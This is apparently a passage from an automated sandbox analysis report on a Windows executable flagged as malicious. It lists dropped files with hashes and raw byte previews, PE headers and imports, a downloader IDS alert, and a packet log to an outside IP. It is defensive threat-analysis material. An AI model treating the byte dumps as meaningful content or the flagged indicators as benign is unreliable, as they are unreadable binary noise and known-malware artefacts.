Preview:	PK........R..Y................text/UT....1.f.1.f.1.fPK..........7X........x.......text/MSVCP140.dllUT.....ej..f2M.f.z.0I\pq...7....N...y..A....L.:.v.FF.e}.F."..._.....hI.g....M_.....]..x..h.\....xh...=X....R. .....W2O#-.u..-sZ.%.ST..=.{...3W>...h./.(...nL..&.+~.^BY..<..:.T..k......jq.[...n.T..{h....../c..iAj..+..\|..\|.x\.:L.S...C.@r..M.u....`%..fJK].^.;$)...(.H.$...W1;c..9;fLF.....h..!=\|.z..<.2..A ..<.=T.(.t-....j.K<.z>.Uu.....>a..".-,7.\.Q.k...'#.....P....G.[H;...}.h........}.i..x...!sVN.8....G.&_#...]J...._g]..G....,f.RJ...U/...w.d.........v.-........!.A=\\Un.....f....5c`7.[..t.:..J1.../HV.%..6I....I....B.e.j.".....>...($....\|:.Wb..wAx.......B.MX}b.p..k.05.5^%.w.C.... ua}.......:..?u...!j[..0;!...Bi..d..i.F.2T..2.....m..gC.}.R....2.J...7.J$u)...#oo.DD...$..P.OTzy.D.F..S5.)i.......A\....]..t...P4..R..;O..._k.F..@..1......j.a.."..<...V.m....je...I....lO.........\|sl.".J..X..l8C..xqR."e.yt`.6.o8!.E...#.uA.S../..Vh...q...Q.....4JN^...;Q..v

C:\Program Files (x86)\pR4cysw\t4d.tmp

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	PC bitmap, Windows 3.x format, 556 x 556 x 32, image size 1236544, cbSize 1236598, bits offset 54
Category:	dropped
Size (bytes):	1236598
Entropy (8bit):	7.382377228331485
Encrypted:	false
SSDEEP:	24576:hXptT9TEpaNPwRTOMcEBe0rOZsdEjQGUeK+GKe66/uV:hZXFNoRk10aZsWjQeBGT
MD5:	137CAFC945CE96E386ECBFBD8C915D46
SHA1:	815BD011538F45CFA469C76861EBD5F7CC24AA79
SHA-256:	12F9EDFB042B9D83AF6FA44F3DEE7A320A8D17F5951996B56563ABF3E527470B
SHA-512:	5C377130ED4A2CA7FD8A1DCE5001D492E46D1947B6101658CC517366FDE75B0E8AA02168BA258BC35640AE0BB6915916854EC5DA1B4D58137B552C9BFFBB5027
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	BMv.......6...(...,...,..... .....@...................*R..d...c...........g...'...g...g...g...g...g...g...g...g.......i...g...F..L.)Th.{ p.ggr.e c.fno.(beGzunGan #GS .gdeI...C...g......A...........4........F..........).....9...................1......0......7....5ach...g...g...7M..+...R..fg...g......!l...g...g8..g...CU..g...g...g...g...g...b...g...b...g...g8..g...g...e.@.g...g...g...g...g...w....A.......>......g8..?...g...g...g...g...gH......g...g...g...g...g...g...g...g...? ..'...g...g...g.......g...g...g...g...g...g...I\|ex....F...g...g...g...g...g...g...G..`Izda.i..=...g...g...g...g...g...g...'..@Ilat........gx..g...g\..g...g...g...'...Izsr....?...g8..g...g...g...g...g...'..@Izel.k..1...gH..g...g...g...g...g...'..Bg...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g.

C:\Program Files (x86)\pR4cysw\t5d.tmp

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	PC bitmap, Windows 3.x format, 378 x 377 x 32, image size 570024, cbSize 570078, bits offset 54
Category:	dropped
Size (bytes):	569918
Entropy (8bit):	7.22606385832403
Encrypted:	false
SSDEEP:	12288:Msj4UEF0Jo9ihYDdKa+yKGBaCMLT2ftNQ:L8Eo9dhKwnBfMLTqNQ
MD5:	F2FA7879FAA4B732675FF265D3DA6FC0
SHA1:	B9A5074F0D86EFA0CDACB4214C1FE66A41B8525E
SHA-256:	8C7506B772BBFD534F20280AF36564FB4AE95C8708A2F95D471ED607CCF65272
SHA-512:	5020D0403FE3D30570843CC8B08B76E7B3FBAA3A706293125DFDC6C60EE42536F90B753F2536068C87F850D96B14A9030392144B0561966B7A223055D38908C1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	BM.......6...(...z...y..... .............................gPU.............o.h.g..hc...5`.t.QP.b..........f..S2^Wj.Pje...$....T.Xj.Qjn<blZ.;f..,..g.f..,..g.XjUn..C...gPj....$....?bdf.$.g..X.$.g....,4..,..g...C...g..$.....$.g....,..g.f..,..g.f..,..g.f..,..g.f..,..g.f..,..g.f..,..g..DC4S.3,=f.L$>.m.DCHpf.L$P+g.DCZa.#,Sf.L$T+a.DC^b.+,W.#,Xa.D$Y..D$=qAf.L$D1a.LCNf.#,Gt..D$.i.TCB.DCCA.3,L.3,Mf.L$N.kf.#,\V..L$9n.DCWtu.L$a..T$..D$.X.LCl.DCmot.k.DCat..,..g.F..,..g..C...g}sh...$......$.....\|..C...g.$.....kti..$.g..o.mY..,..g..LCe.LC\|.LCq..C...g......C...g.$....$ich.L$l .D$.\|Na.n.DCziv.L$u4qst..D$.eI.;,\|f.L$}.gf..,..g.Rt.$.g....,..g.A..,..g...C...gn.C...gNu..,..g..C...gkti...$......$....3i.C...gj..C...g.w.g...&.^...k.g....$.g..j...$....?n..C...gn..C...g.D${X..C...g.\$SXUU..j.8.D$#n.\|C..DC..DC<PU.L$...\|$yX.tC ....Xf.L$...D$q.D$;.D$...$....7].DC.P..,(..b.X..D$sn.DC...C...g.D$...$....7].DC.P..,(..b.^.L$l..t$s.D$...$....7].DC.f..,.P.\|$(..j.?n.DC.f.#,..#,<.#,...,..g.PU.L$.7.t$O...,..g.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\long[1].bmp

Download File

Process:	C:\Users\user\Desktop\3Kel6xErOk.exe
File Type:	data
Category:	dropped
Size (bytes):	139784
Entropy (8bit):	6.883954420272221
Encrypted:	false
SSDEEP:	1536:lqOmEtRGptJAq+NKUmALI1C381ngfvMfqaJYn2KCkH0g9bbQWplEjyHWpdyxk9nG:lIhI+xr1ngfv4KVUeQWlfHWpoy80lKX
MD5:	98C50817D295EEAC3C2968A656B79ADD
SHA1:	0401B3CC5586255FFDD849B5C6E1A5124C7090E0
SHA-256:	A8731026677A88F696A64FDC113BB33C5B94B059313A447F95A4459E281ED53B
SHA-512:	354DBB5E89D1C18CBDD3C4D81FAB733B4B3259A12DA5BDD929E46B1ADD2954B8C9DEA832075E7C8D879641B1895BC597D27634B4E0DE937808CD32ECC624239E
Malicious:	false
Preview:	.l..l4U......g....!nlh.ll.hhl..>....P.il........ml.S9:Wj.4je..$.l.._.Xj.5jn7.lZ._f..H..llf..H..llXj^...H...l4j...$.l..4.df..$.ll.X..$.ll...H4..H..ll..H...l.$.l....$.ll...H..llf..H..llf..H..llf..H..llf..H..llf..H..llf..H..ll.DHPS.8H=f.($>...DH,pf.($P ..DH>a.(HSf.($T ..DH:b. HW.(HXa. $Y..D$6.Af.($D:..LHf.(HGt..D$%..TH&.DH'A.8HL.8HMf.($N..f.(H\V..L$2..DH3tu.($a..T$..D$.<.LH..DH.ot...DH.t..H..llF..H..ll.H...l.sh%.$.l.....$.l......H...l..$.l....ti..$.ll.o..Y..H..ll.LH..LH..LH...H...l......H...l..$.l../.ch.($l+.D$..Na...DH.iv.($u?.st..D$..I.0H\|f.($}..f..H..llRt..$.ll...H..llA..H..ll..H...l..H...lu..H..ll.H...l.ti..$.l.....$.l..8..H...l...H...l.w.ll..-.^...k.ll....$.ll.jt.$.l..4...H...l...H...l.D$p<..H...l.\$X<UU..j.3.D$(..\|Hx.DHt.DHXPU.($...\|$r<.tHD...bXf.($...D$z.D$0.D$t.$.l..<9.DHpP..H(....X..D$x..DHz..H...l.D$t.$.l..<9.DHpP..H(....^.($l..t$x.D$t.$.l..<9.DHpf..H.P..$(..j.4..DHxf.(H..(H<.(H...H..llPU.($.<.t$D...H..llf..H..(H...H..llPU.($...t$r<.tHD...($P..\|$x.D$t.$.l..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.518366551289683
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3Kel6xErOk.exe
File size:	3'226'624 bytes
MD5:	4c78207e0eb0dfe35135ed10641c2546
SHA1:	12e9baced4a47f2ce202107112771ffeb635d408
SHA256:	4f432ba1da38c64c9298fb2c2a0271c06dc333fb66e7f2b6deebf1ec6782c6b9
SHA512:	f1e552235a1d0656232d65eeec31a4a4c8c0a61f4176f88bb8fd157a4e35aa07ece0ebcb178d9f1c9ab6f087917455e4cdd35b894ab120f450284a392fcf3815
SSDEEP:	49152:j0jGTtCtHLcQ0ywF3mje3ZgjwGZpCsy8wSQHo5MSlYo4axkjiHPLRcP1cA6URmR/:IctCiQNwlmjyZgxkjiHjRQcAm
TLSH:	63E56C01EA40803AF9E301B682B756BA9D38BF20137464C783D075FAEB75AE47935B57
File Content Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........................P.......R.`.....S.....<;f...............................".....5...5...5.........2.........g.............^....

File Icon


Icon Hash:	002868d4d4cc0000

Static PE Info

General

Entrypoint:	0x4450db
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x65D1ADEC [Sun Feb 18 07:12:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	243a767db62d711245ca38da1e390f6b

Entrypoint Preview

Instruction
call 00007F0854C8CFB0h
jmp 00007F0854C8C833h
push ebp
mov ebp, esp
pop ebp
jmp 00007F0854C8C0E3h
jmp dword ptr [006385D8h]
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F0854C8BE58h
jmp 00007F0854C8C980h
mov ecx, dword ptr [ebp-14h]
xor ecx, ebp
call 00007F0854C8BE47h
jmp 00007F0854C8C96Fh
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [006D8078h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [006D8078h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[ C ] VS2015 UPD3.1 build 24215
[C++] VS2015 UPD3.1 build 24215
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d59d8	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e9000	0x1e410	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x308000	0x16f68	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2cc490	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2cc55c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2cc500	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x238000	0x5d8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x23612f	0x236200	6286f81e55c5d85096afc5c13495f4a2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x238000	0x9f702	0x9f800	3ef5d69d0d01b98d0b5fad913f11a153	False	0.4349009355407524	data	5.812890758796832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d8000	0xb204	0x6e00	d7f145d3f6c24be703fe524a179703cd	False	0.2399502840909091	data	4.234246800880143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.detourc	0x2e4000	0x1190	0x1200	7e2c856e05e6de713cf0fce9786c2998	False	0.2502170138888889	data	3.9536141345719162	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.detourd	0x2e6000	0xc	0x200	15d7bd12d01a5e1cc9bcfda0df81f640	False	0.037109375	data	0.06591441234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x2e7000	0x2f4	0x400	94e919ec89e09bd5d3d16623aa5e57d9	False	0.4228515625	data	3.1621285426262045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2e8000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e9000	0x1f000	0x1e600	c288622f63203da4b794dcf12e7d9afe	False	0.46257716049382713	data	6.0028922287185456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x308000	0x16f68	0x17000	fea52bb0d206c3aaaadf94afd51b03a7	False	0.601318359375	data	6.617334357049642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2e9280	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	Chinese	China	0.1626937182065539
RT_ICON	0x2f9aa8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Chinese	China	0.6099290780141844
RT_ICON	0x2f9f10	0x98d9	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9998466610442382
RT_ICON	0x3037ec	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Chinese	China	0.3937617260787992
RT_ICON	0x304894	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Chinese	China	0.3149377593360996
RT_DIALOG	0x306e3c	0x4a	data	Chinese	China	0.8648648648648649
RT_STRING	0x306e88	0x4a	data	Chinese	China	0.7162162162162162
RT_GROUP_ICON	0x306ed4	0x4c	data	Chinese	China	0.8421052631578947
RT_VERSION	0x306f20	0x2a4	data	Chinese	China	0.4911242603550296
RT_MANIFEST	0x3071c4	0x249	XML 1.0 document, ASCII text	English	United States	0.576068376068376

Imports

DLL	Import
WS2_32.dll	ntohs, WSAGetLastError, shutdown, WSAStartup, WSASetLastError, getnameinfo, getservbyname, inet_ntoa, gethostbyname, gethostname, ioctlsocket, sendto, recvfrom, listen, accept, freeaddrinfo, getaddrinfo, WSAIoctl, setsockopt, WSACleanup, htons, getsockopt, getsockname, getpeername, connect, bind, select, __WSAFDIsSet, socket, send, recv, closesocket
CRYPT32.dll	CertCloseStore, CertEnumCertificatesInStore, CertFindCertificateInStore, CertDuplicateCertificateContext, CertFreeCertificateContext, CertGetCertificateContextProperty, CertOpenStore
KERNEL32.dll	GetVersionExW, CreateEventW, LockResource, FindResourceExW, WideCharToMultiByte, GetTickCount, GetDriveTypeW, lstrcpynW, lstrcpyW, GetFullPathNameW, FreeLibraryAndExitThread, ExitThread, SystemTimeToTzSpecificLocalTime, GetEnvironmentVariableW, FindNextFileW, FindFirstFileW, GetModuleFileNameA, QueryPerformanceCounter, GetCommandLineW, GlobalAddAtomW, LoadLibraryW, GetSystemTime, ConvertThreadToFiber, ConvertFiberToThread, CreateFiber, DeleteFiber, SwitchToFiber, SetConsoleMode, ReadConsoleA, VerifyVersionInfoA, GetSystemDirectoryA, GetModuleHandleA, LoadLibraryA, VerSetConditionMask, FormatMessageA, ExpandEnvironmentStringsA, PeekNamedPipe, WaitForMultipleObjects, SleepEx, InitializeCriticalSection, SetEndOfFile, WriteConsoleW, DebugBreak, CreateThread, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, IsValidCodePage, FindFirstFileExW, FindClose, SetConsoleCtrlHandler, FlushFileBuffers, ReadConsoleW, SetFilePointerEx, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetConsoleCP, GetTimeZoneInformation, GetFileType, GetACP, GetStdHandle, GetModuleHandleExW, ExitProcess, GetCommandLineA, RtlUnwind, GetCurrentProcessId, GetStartupInfoW, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, WaitForSingleObjectEx, ResetEvent, GetFileSize, CloseHandle, CreateFileW, ReadFile, LoadLibraryExW, lstrcmpiW, FreeLibrary, GetModuleHandleW, GetProcAddress, FindResourceW, LoadResource, SizeofResource, MulDiv, lstrcmpW, GlobalUnlock, InterlockedIncrement, GlobalLock, GlobalAlloc, GetCurrentThreadId, LeaveCriticalSection, GetModuleFileNameW, InterlockedDecrement, EnterCriticalSection, SetLastError, CreateProcessA, CreateProcessW, GetCurrentThread, MultiByteToWideChar, GetProcessHeap, SetEvent, IsProcessorFeaturePresent, InterlockedPushEntrySList, InterlockedPopEntrySList, InitializeSListHead, OutputDebugStringW, IsDebuggerPresent, GetSystemTimeAsFileTime, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, Sleep, GetLocaleInfoW, LCMapStringW, CompareStringW, GetCPInfo, EncodePointer, FormatMessageW, GetStringTypeW, GetCurrentDirectoryW, SystemTimeToFileTime, FileTimeToSystemTime, DeleteCriticalSection, HeapDestroy, DecodePointer, HeapAlloc, RaiseException, HeapReAlloc, GetCurrentProcess, SuspendThread, ResumeThread, GetThreadContext, SetThreadContext, FlushInstructionCache, VirtualAlloc, VirtualFree, GetConsoleMode, WaitForSingleObject, GetLastError, HeapSize, InitializeCriticalSectionAndSpinCount, HeapFree, WriteFile, LoadLibraryExA, VirtualQuery, VirtualProtect, GetFileAttributesExW, SetStdHandle
USER32.dll	GetDlgItem, GetClientRect, SetWindowLongW, SetCapture, GetClassNameW, LoadCursorW, CharNextW, SetFocus, CreateAcceleratorTableW, MoveWindow, GetSysColor, GetUserObjectInformationW, GetProcessWindowStation, IsChild, DestroyAcceleratorTable, ClientToScreen, RedrawWindow, InvalidateRgn, IsWindow, RegisterClassExW, SetWindowTextW, SendMessageW, ScreenToClient, CreateWindowExW, GetDesktopWindow, SetWindowPos, GetDC, DestroyWindow, GetFocus, GetWindow, CallWindowProcW, DefWindowProcW, SubtractRect, ReleaseDC, wsprintfW, CopyRect, GetClassInfoExW, GetParent, RegisterWindowMessageW, ReleaseCapture, FillRect, InvalidateRect, GetWindowTextLengthW, GetWindowLongW, SetForegroundWindow, FindWindowW, TranslateMessage, BringWindowToTop, PeekMessageW, DispatchMessageW, ShowWindow, SetActiveWindow, GetMessageW, PostMessageW, PostQuitMessage, MessageBoxW, MessageBoxA, SetMenu, RegisterHotKey, MapWindowPoints, BeginPaint, EndPaint, GetWindowTextW, UnregisterClassW, UnregisterHotKey, GetWindowRect, MonitorFromWindow, GetSystemMetrics, GetWindowPlacement, GetMonitorInfoW
GDI32.dll	CreateSolidBrush, DeleteObject, DeleteDC, GetDeviceCaps, GetStockObject, CreateCompatibleDC, SelectObject, CreateCompatibleBitmap, BitBlt, SetViewportOrgEx, GetObjectW
ADVAPI32.dll	CryptEnumProvidersW, CryptSignHashW, RegisterEventSourceW, ReportEventW, CryptDestroyHash, CryptCreateHash, CryptDecrypt, CryptExportKey, CryptAcquireContextW, CryptReleaseContext, CryptGenRandom, CryptDestroyKey, CryptSetHashParam, CryptGetProvParam, RegQueryValueExW, RegCloseKey, RegQueryInfoKeyW, RegDeleteKeyW, RegCreateKeyExW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegDeleteValueW, CryptGetUserKey, DeregisterEventSource
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHGetSpecialFolderPathW, ShellExecuteW
ole32.dll	CoUninitialize, CoInitialize, CoTaskMemRealloc, OleLockRunning, CLSIDFromString, OleInitialize, CreateStreamOnHGlobal, CoTaskMemFree, CLSIDFromProgID, StringFromGUID2, CoTaskMemAlloc, OleUninitialize, CoGetClassObject, CoInitializeEx, CoCreateInstance, PropVariantClear
OLEAUT32.dll	SafeArrayUnaccessData, VariantChangeType, VarUI4FromStr, SafeArrayAccessData, SafeArrayCreate, LoadRegTypeLib, VariantInit, LoadTypeLib, SysFreeString, OleCreateFontIndirect, SysAllocString, DispCallFunc, SysStringLen, SysAllocStringLen, VariantClear
DSOUND.dll
SHLWAPI.dll	PathRemoveFileSpecW, PathAppendW, PathRemoveFileSpecA, PathFileExistsW
WINMM.dll	waveOutWrite
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
NETAPI32.dll	Netbios
WLDAP32.dll

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-14T18:44:25.310873+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	54890	188.114.96.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 18:44:24.466367960 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:24.472785950 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:24.472919941 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:24.473962069 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:24.479721069 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310730934 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310756922 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310775042 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310817003 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310836077 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310853004 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310868979 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310873032 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.310887098 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.310920000 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.310940027 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.310950994 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.311001062 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.311072111 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.311073065 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.315738916 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.315795898 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.315818071 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.315864086 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.398129940 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398226023 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398277998 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398313046 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.398329973 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398365974 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398403883 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.398447037 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.398483038 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398534060 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398566961 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398586988 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.398623943 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398638964 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.398642063 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.398772955 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.399358034 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.399421930 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.399436951 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.399445057 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.399471045 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.399486065 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.399789095 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.404900074 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.404926062 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.404941082 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405002117 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405004978 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.405144930 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405167103 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.405200005 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405214071 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405294895 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.405437946 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.405606031 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405677080 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405692101 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.405699015 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.405791998 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.405792952 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.485698938 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.485760927 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.485814095 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.485846043 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.485879898 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.485887051 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.485913038 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.485913992 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.486020088 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.486186028 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486232042 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486268997 CEST	54890	80	192.168.2.7	188.114.96.3
